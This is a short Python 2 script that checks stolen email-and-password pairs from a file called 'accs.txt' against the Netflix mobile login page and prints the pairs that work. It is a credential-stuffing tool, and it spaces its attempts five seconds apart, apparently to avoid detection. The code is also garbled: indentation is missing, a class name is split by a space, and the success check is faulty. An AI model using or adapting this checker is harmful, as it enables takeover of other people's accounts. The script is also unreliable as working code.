import urllib2, re, hashlib
import socket
from urllib import urlencode
from cookielib import CookieJar
import time
import urllib
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(C ookieJar()))
def logintest(theusername,thepassword):
#preload a game using all gsi urls
finalhtml = opener.open('https://www2.netflix.com/Mobile/')
strhtml1= finalhtml.read()
postdata = urlencode({
"email" : theusername,
"submit" : "submit",
"password1" : thepassword,
'SubmitButton' : 'Click Here to Continue',
'nextpage' : 'http://www2.netflix.com/Mobile',
'RememberMe' : 'true',
})
finalhtml = opener.open('https://www2.netflix.com/Mobile/Login/', postdata)
strhtml2= finalhtml.read()
if strhtml2.find("The login information you entered does not match an account in our records.") <10 :
print theusername , ":" , thepassword
file = open("accs.txt")
while 1:
line = file.readline()
if not line:
break
pass # do something
lines = line.split(":")
logintest(lines[0],lines[1])
time.sleep(5)